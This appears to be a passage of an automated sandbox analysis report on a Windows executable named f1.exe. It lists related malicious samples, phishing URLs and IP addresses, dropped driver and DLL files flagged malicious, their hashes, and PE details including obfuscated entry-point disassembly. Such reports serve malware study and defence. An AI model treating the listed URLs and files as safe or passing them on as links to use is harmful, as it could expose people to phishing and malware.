	b4cbf3ffbd8e152116e72487c3b16f1d.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	1I9EGoBq.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	1I9EGoBq.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	SecuriteInfo.com.Linux.Siggen.9999.32301.6786.elf	Get hash	malicious	Mirai	Browse	139.170.164.89
	Kt3mHbCO6N.elf	Get hash	malicious	Mirai	Browse	112.249.78.69
QIHOOBeijingQihuTechnologyCompanyLimitedCN	mirai.spc.elf	Get hash	malicious	Mirai	Browse	101.199.221.204
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	LisectAVT_2403002C_44.exe	Get hash	malicious	EICAR	Browse	104.192.108.20
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	104.192.110.226
	94.156.8.9-skid.sh4-2024-07-23T17_40_06.elf	Get hash	malicious	Mirai, Moobot	Browse	101.199.91.156
	FcMd5XxxZ0.elf	Get hash	malicious	Mirai	Browse	101.198.119.196
	eeep.jpg.exe	Get hash	malicious	Unknown	Browse	104.192.110.232
	SecuriteInfo.com.Trojan.Siggen21.32984.5152.16224.exe	Get hash	malicious	EICAR	Browse	104.192.108.22
	SecuriteInfo.com.Trojan.Siggen21.32984.28643.30045.exe	Get hash	malicious	EICAR	Browse	104.192.108.17
TAOBAOZhejiangTaobaoNetworkCoLtdCN	uPrsrEVzMP.exe	Get hash	malicious	CobaltStrike	Browse	163.181.130.189
	https://www.aa5aa5aa5aa5aa44.app:3669/home	Get hash	malicious	Unknown	Browse	163.181.130.188
	SecuriteInfo.com.Adware.DownwareNET.4.32136.10916.exe	Get hash	malicious	Unknown	Browse	163.181.130.170
	https://dna-id-xcom.resmi-v1.biz.id/	Get hash	malicious	Unknown	Browse	163.181.131.216
	https://href.li/?https://mex.adobedownloader.info/ePPn/	Get hash	malicious	HTMLPhisher	Browse	163.181.131.243
	http://www.foodmate.net	Get hash	malicious	Unknown	Browse	163.181.130.191
	http://y3651111.com/	Get hash	malicious	Unknown	Browse	163.181.130.195
	http://ts334.vip/	Get hash	malicious	HTMLPhisher	Browse	163.181.130.191
	http://broad.qiaoleix.workers.dev/	Get hash	malicious	Unknown	Browse	163.181.130.194
	https://tly.fan/LWZoWlT6FYuEFQ2h4XNZ03UiKOc9djOEBFNQECeuk0t9NFDhH1m1626kBiTQNXWE?sign=e45331a689b77eaead9545ed1b409a033fb49a03b3de614990e1ac15b5d0b4e0/	Get hash	malicious	Unknown	Browse	163.181.92.238

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SysWOW64\6E8EJNeaX.sys	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.18851cbd-1cb1-48b4-812d-a7115ba3a00e.1.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	1.192205562254371
Encrypted:	false
SSDEEP:	12:2RjqPqF69Fq5znk56GWtbgjO3s7Nxk56Gtl0IO/qEes1qnRN:Gc16Gtm2jGtX0RKN
MD5:	D8207ED57B877DCC6E52F06D3A7046A4
SHA1:	6065DE4CC16BC6BD453A8B4960E9DE826FC07A4C
SHA-256:	0CCEEBC24025E530D4A241D7E7CC04EAAFF7772EB1A1A91B4E96916E145D8B78
SHA-512:	666A82D3AFB99778AB724721FD5A01409284562F5A9593D0B84FEF57992305FF8BD30464C3245D50EB5D4D675575C6B4EED7498876CABBCDCBD675814CD17367
Malicious:	false
Preview:	............................................................................D...\|........T.JL...................eJ..............Zb..K....(......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...............................................................Q............T.JL...........U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...1.8.8.5.1.c.b.d.-.1.c.b.1.-.4.8.b.4.-.8.1.2.d.-.a.7.1.1.5.b.a.3.a.0.0.e...1...e.t.l...........P.P.\|........T.JL...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\user\AppData\Local\Temp\MKss.ini

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	Generic INItialization configuration [clogs]
Category:	modified
Size (bytes):	527
Entropy (8bit):	6.007047428047126
Encrypted:	false
SSDEEP:	12:8h+2AZX4Pykmci3OUxshRtV+Gyw2WFJ2AZX4Pykmci3OUxshRtV+GywO:pZ4ykrIxs1V+5wLZ4ykrIxs1V+5wO
MD5:	8E581C9AF2B42889E452976FD742B58C
SHA1:	DDEACE812C874FA18D7674888E4A43C94A54328E
SHA-256:	2B652419E60622075DE17B2B6704348822A6D6A9F9F0E159D0CB24725FC8133F
SHA-512:	8538CB4C364A5ADD5B357C51890758E6B9AD6553E88360958FC828ED95DBD6BD78836FB40A8B335308839695E219B0F8530A4C4ED8F5A1F37295C0719CBADB12
Malicious:	false
Preview:	[logs]..get=1..08-04 04:58:52:1687..SlBBJr4jZfugS44Ey58GZjeqSHOA671bOwDpcwqjSznb7aC9/F3XH7E/LUENwZrbWdoHPf1ldrBjk6g9CpB/OX657k86y0+wOKdzEMY7BITyrd21/98Bf+wR2Tl+m3VQHrGU/6ooe0iZxRxsVtmiIRIOd0TJlO9PuhbOK9gh5saXms2EqkYzitv95D6dcx8HGW5FdGKoU3vZEqI0yyRw+dheVsP86BcW..[clogs]..log11=1..08-04 04:58:52:1687..SlBBJr4jZfugS44Ey58GZjeqSHOA671bOwDpcwqjSznb7aC9/F3XH7E/LUENwZrbWdoHPf1ldrBjk6g9CpB/OX657k86y0+wOKdzEMY7BITyrd21/98Bf+wR2Tl+m3VQHrGU/6ooe0iZxRxsVtmiIRIOd0TJlO9PuhbOK9gh5saXms2EqkYzitv95D6dcx8HGW5FdGKoU3vZEqI0yyRw+dheVsP86BcW..

C:\Users\user\Desktop\MultiSys\75F55GpM.dll

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	389632
Entropy (8bit):	7.839251868395354
Encrypted:	false
SSDEEP:	6144:Cu8JTt3rn78lPq/b87/3m86F01L2wpe3FmHWYvi2gnhvBeFawa:CNHbW3c617m+5gnRBSaJ
MD5:	C8E340A7C81A354948A7C57DF31AA5BB
SHA1:	25A9219B204A1388A89E21D73FDEA19C04512C23
SHA-256:	4A4D5B602BA06CEA667BFFD168FA85CB6ACEEFA8233EED047E1C17FC7853A92C
SHA-512:	13DF924352E99884FE439F42FA0CF206A81A5E8FBF302295D4C8141DE8BB88547615270D98344CEDCAB3FCCB257940B83B14D09F78CA0C23E1A973096A19A7C7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6...X...X...X...K...X.Q.....X......X......X...Y.i.X......X....G.X....u.X......X......X......X......X.Rich..X.................PE..L.....f...........!................#........................................P......}.....@.........................X.......h...T........;..............................................................@............P..........@....................text............................... ..`.rdata..............................@..@.data...x...........................@....vvvt0..q\|..........................`..`.vvvt1....... ......................`....reloc..............................@..@.rsrc....;..........................@..@................................................................................................................................................................................................................

C:\Users\user\Desktop\MultiSys\A32272954.dll

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	389632
Entropy (8bit):	7.839251868395354
Encrypted:	false
SSDEEP:	6144:Cu8JTt3rn78lPq/b87/3m86F01L2wpe3FmHWYvi2gnhvBeFawa:CNHbW3c617m+5gnRBSaJ
MD5:	C8E340A7C81A354948A7C57DF31AA5BB
SHA1:	25A9219B204A1388A89E21D73FDEA19C04512C23
SHA-256:	4A4D5B602BA06CEA667BFFD168FA85CB6ACEEFA8233EED047E1C17FC7853A92C
SHA-512:	13DF924352E99884FE439F42FA0CF206A81A5E8FBF302295D4C8141DE8BB88547615270D98344CEDCAB3FCCB257940B83B14D09F78CA0C23E1A973096A19A7C7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6...X...X...X...K...X.Q.....X......X......X...Y.i.X......X....G.X....u.X......X......X......X......X.Rich..X.................PE..L.....f...........!................#........................................P......}.....@.........................X.......h...T........;..............................................................@............P..........@....................text............................... ..`.rdata..............................@..@.data...x...........................@....vvvt0..q\|..........................`..`.vvvt1....... ......................`....reloc..............................@..@.rsrc....;..........................@..@................................................................................................................................................................................................................

C:\Users\user\Desktop\MultiSys\E4288D0BD5

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	5.659440452801155
Encrypted:	false
SSDEEP:	3:MYNB+FkXw5yY0v+5tnRqtc+YlYn:MqDXw5yY02znEtc+Y6
MD5:	708E5BE1911747BF19223248DE68A379
SHA1:	BE248205AA5157290F51A08AB8CDBE359B566751
SHA-256:	0D3CFCBB299187B4AB1AF6875FFD2CAAA1F1030E65D1B41F56D9109A47753EAC
SHA-512:	202883A768E2C1AA16C04FFDAC530047ADBDB48B06747C6753848B19D1AB32BFF5764D57EFF35755FE320D8D5AAA459B84DC2C6565C318E241C3478C6A24C899
Malicious:	false
Preview:	Mtn.mUjto`dA`a {qc...............!".iPJUA`DCC.\HB12-456189:5<=>9@AB=EEFA

C:\Windows\F705A27.sys

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1258712
Entropy (8bit):	7.8849677549153165
Encrypted:	false
SSDEEP:	24576:y+OM4ddAbwOEadUiLSlUY2ZGvEHuRqbb73JFAaAWAOg3t2Ruk1d/wj5HxaAdx:y+aInJuYVlbbJFMWAd3QR1wtxaAdx
MD5:	B71514CDB6C77AA0E00C018FB21F6064
SHA1:	0D7D38222F88DBB8064E78AE394BD713AEF4DB02
SHA-256:	2623D25EEC620680241D7F85187CF4067257A6F4A0A3EC4F354597C4D8938CC3
SHA-512:	D37951AF0A12AADC697274316FF5557B1ED1F4926BDBEC47441B9CA2398FFDACA003F52E6F7564D0900A815225E988D2674AE406A7105CA870F3F847CBCB7057
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.......r&........@..............................(.....eF....`..................................................%..P...............,....$........(.\.....(...............................(.................0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...4...........................`..h.vvd1...............................`....reloc..\.....(......"..............@..B........................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2461813298296813
Encrypted:	false
SSDEEP:	24:QOaqdmuF3rqv+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxv:FaqdF7qv+AAHdKoqKFxcxkFU1
MD5:	BE5994BC83D5B689E8725168824EAA01
SHA1:	23DDDEDF3D08C0AFDB04C692F2153C26B2B3451D
SHA-256:	C7DD6CCE6E4922306720B11785B367DEAC96CB13C588D0A7B66E170A6ADEB9F1
SHA-512:	BC5725C7E7B11C2137E62B2B1ACC2F38B4BACDABA85D29E7817786C375EACEB2CC2C1900D30B1E0455C83CB3B976DA523DB2392DC6A76A3B8FF96441B6590395
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. S.u.n. .. A.u.g. .. 0.4. .. 2.0.2.4. .0.6.:.4.7.:.1.8.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\SysWOW64\2649hsXWi.sys

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1223880
Entropy (8bit):	7.844794388469586
Encrypted:	false
SSDEEP:	24576:eHsJpxmK45cLl0T/crKEofCq0SwxeAKyYPap8OmdXPQQPVMEU05D58:HnxuDcrEfD09KyYPcJmpPQkZ58
MD5:	872BF0142AF7ED93257964BAD3FF5182
SHA1:	F039274880436FFC27073EC8EB13F32C1CD4B2F1
SHA-256:	C1338C658683C936B985AEF9C4359CA9ED0F98F5BDD2E3082168B0088FE58179
SHA-512:	ABA1300DF79CC92C6744AE7F5DAFAAB1D4B3F42FD5F117D2E25D0510156FAEF0A428B4B5320D7FF8B5F57CEE8672845E987D3693627F3CD24D9B016ABECF68CB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&........&........@.............................`'...........`..................................................d..P...............,........&...P'.$...pO'..............................N'...............'.0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...............................`..h.vvd1...............................`....reloc..$....P'.....................@..B........................................................................................................................................................................................

C:\Windows\SysWOW64\6E8EJNeaX.sys

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1333520
Entropy (8bit):	7.861452201177867
Encrypted:	false
SSDEEP:	24576:2macYmSqjbUGx4SPlCr7XJFFWWQUBWL9NfammWgxGDCxcfy2+9fsqQnJdxXGc:qfGm+Y7XsWQaqNCBxqicfy2+hsqQnxXZ
MD5:	3A4D0416984BEA76205F05C6251D7CFB
SHA1:	B2686CAB2C66CC0BCD430E8B2707703A04841337
SHA-256:	9152FD4EB4FB613F415C8E1B6B51B0B6EC3659CEBD5A2FD6FF76AB20312F8F0B
SHA-512:	B27491428408518FB17B8D41549C44C8F905D3BA9D26E9D9CEC97C80D392DD3782228A3201868A4BC3732F0A91F05AB7E0CA80D59FCDCFAB8F783B605304CD93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: chAJcIK6ZO.exe, Detection: malicious, Browse Filename: chAJcIK6ZO.exe, Detection: malicious, Browse Filename: d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I.~...~...~...~...~....,..~....<..~......~....q..~....r..~....^..~...._..~....a..~..Rich.~..........................PE..d.....Xe.........."..........$................@.................................../A....`.................................................0...P....................H.........h..................................0...............p..............................text...ti.......................... ..h.rdata..$E..........................@..H.data...............................@....pdata..............................@..HINIT................................ ..`.vvd0...............................`..h.vvd1....A.......B..................`....reloc..h.....*......F..............@..B........................................................................................................................................................................

C:\Windows\SysWOW64\CB8C7NLdg.sys

Download File

Process:	C:\Users\user\Desktop\f1.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1258712
Entropy (8bit):	7.8849677549153165
Encrypted:	false
SSDEEP:	24576:y+OM4ddAbwOEadUiLSlUY2ZGvEHuRqbb73JFAaAWAOg3t2Ruk1d/wj5HxaAdx:y+aInJuYVlbbJFMWAd3QR1wtxaAdx
MD5:	B71514CDB6C77AA0E00C018FB21F6064
SHA1:	0D7D38222F88DBB8064E78AE394BD713AEF4DB02
SHA-256:	2623D25EEC620680241D7F85187CF4067257A6F4A0A3EC4F354597C4D8938CC3
SHA-512:	D37951AF0A12AADC697274316FF5557B1ED1F4926BDBEC47441B9CA2398FFDACA003F52E6F7564D0900A815225E988D2674AE406A7105CA870F3F847CBCB7057
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.......r&........@..............................(.....eF....`..................................................%..P...............,....$........(.\.....(...............................(.................0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...4...........................`..h.vvd1...............................`....reloc..\.....(......"..............@..B........................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.822239618300912
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f1.exe
File size:	24'454'144 bytes
MD5:	aa90af9ae785eb682dbfa0fb5ab32241
SHA1:	3b83ddc09a4ff12ceb6c836658aba3d3f2084369
SHA256:	12f00106b68697cf61907a49028037abc0f5071ad2becb19e3a345b5cd6efefa
SHA512:	66d22422710bd9fc515d0ecac24aa497594087a92180dfcf32c605cf7359a94545fb8ed2f67888dc387554e10f2181d679b2867219d1cd31779bfaa62d461c0f
SSDEEP:	393216:tdgTMpvznPCHbe1zCfn1qjPqnnxHUI0lCGx5dUet2QcY5bYq7+5P60XqEBvVyB1D:3QMJz6Hq1E1qjPqnxHj0lCGx7UetRV/v
TLSH:	8F37331A124591EFD95306BC24BCDBF15A848CB2E4D7514FB8A03FB978628A52C43E7F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.3...]...]...].%W&...].[.N...].......].......].....%.]...\...].......].......].......].....P.].......].......].Rich..]........

File Icon


Icon Hash:	0f0b695555170f33

Static PE Info

General

Entrypoint:	0x3093fcf
Entrypoint Section:	.data31
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65E5B654 [Mon Mar 4 11:53:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6d7b4e7d3c1187abf0c2d287efad9b94

Entrypoint Preview

Instruction
pushfd
mov byte ptr [esp], 00000077h
pushfd
pushad
mov dword ptr [esp+24h], FE62A15Bh
pushfd
push 48BE6BE9h
pushfd
mov dword ptr [esp+2Ch], 81F53587h
push dword ptr [esp+0Ch]
pushfd
lea esp, dword ptr [esp+34h]
jmp 00007F2800841CE8h
push es
hlt
rcr dword ptr [ecx], cl
stosb
fsincos
aam 50h
cmpsd
dec ebp
xchg eax, edx
dec edx
jno 00007F28008331E5h
lodsb
cmp byte ptr [edi-52E989B3h], bl
pop edi
push esp
mov edi, AF7FF6C5h
mov al, byte ptr [BEF5EDCBh]
out E5h, al
inc edi
inc eax
cmp al, 67h
add eax, 89C3DC8Ch
push ss
xchg byte ptr [ecx], bh
and esi, dword ptr [eax+34h]
and eax, FFFFFFF8h
mov edi, FDC5BC72h
sub ebp, ecx
cwde
rcr cl, cl
mov ah, A1h
js 00007F28008331B3h
enter E9F8h, AAh
pop ebp
iretd
sbb ah, ch
aas
dec esp
mov dword ptr [edi], ecx
mov esi, 1877DDBAh
pop esp
cmp dword ptr [esi+eax*4+79145D3Ah], ebx
or dword ptr [edx-7Eh], edi
or eax, 6BB922CAh
push esp
mov edi, 1AAFE4FCh
cmp bl, ch
mul ch
aam 47h
pop edx
ror dword ptr [esi], 1
shl bh, cl
arpl word ptr [ebx-37974971h], di
sub esi, dword ptr [ebx-111BEFA9h]
cmp dh, cl
and eax, EB9AC861h
outsd
add cl, byte ptr [ebx]
int DDh
add eax, 782A8967h
imul ecx, dword ptr [ecx-108108BFh], 00000000h

Rich Headers

Programming Language:

[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c9e140	0x1a4	.data31
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2ca6000	0x5ca46	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2ca5000	0xac	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2ca3b3c	0x1c	.data31
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ca3ab4	0x40	.data31
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x15d8000	0xb8	.data31
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xf1bdc	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xcead9	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd0000	0x24634	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf5000	0x496b8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data30	0x13f000	0x146fbd6	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data31	0x15af000	0x16f51b0	0x16f5200	602742f8b4eaec3fe82ed6194c7f77d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2ca5000	0xac	0x200	341c8ecd88c69c03e01f47c756fb1f2d	False	0.287109375	data	1.8605817426972537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2ca6000	0x5ca46	0x5cc00	03faca0df605de19b99988f748a43c32	False	0.12387076735175202	data	5.309802997509034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2ca6388	0x4180c	Device independent bitmap graphic, 255 x 510 x 32, image size 0, resolution 11811 x 11811 px/m	Chinese	China	0.0906895266492732
RT_ICON	0x2ce7b94	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.12768817204301075
RT_ICON	0x2ce7e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.20967741935483872
RT_ICON	0x2ce8164	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Chinese	China	0.200281425891182
RT_ICON	0x2ce920c	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Chinese	China	0.2192622950819672
RT_ICON	0x2cea334	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	Chinese	China	0.17372530462557673
RT_ICON	0x2cfab5c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	Chinese	China	0.26269485120453473
RT_ICON	0x2cfed84	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Chinese	China	0.337448132780083
RT_ICON	0x2d0132c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Chinese	China	0.3803939962476548
RT_ICON	0x2d023d4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Chinese	China	0.49379432624113473
RT_GROUP_ICON	0x2d0283c	0x14	data	Chinese	China	1.2
RT_GROUP_ICON	0x2d02850	0x14	data	Chinese	China	1.25
RT_GROUP_ICON	0x2d02864	0x14	data	Chinese	China	1.25
RT_GROUP_ICON	0x2d02878	0x14	data	Chinese	China	1.2
RT_GROUP_ICON	0x2d0288c	0x14	data	Chinese	China	1.2
RT_GROUP_ICON	0x2d028a0	0x4c	data	Chinese	China	0.8157894736842105
RT_MANIFEST	0x2d028ec	0x15a	ASCII text, with CRLF line terminators	English	United States	0.5491329479768786

Imports

DLL	Import
KERNEL32.dll	GetVersionExA, FindResourceExA
USER32.dll	UnregisterClassA
GDI32.dll	PtVisible
COMDLG32.dll	GetFileTitleA
WINSPOOL.DRV	DocumentPropertiesA
ADVAPI32.dll	RegDeleteKeyA
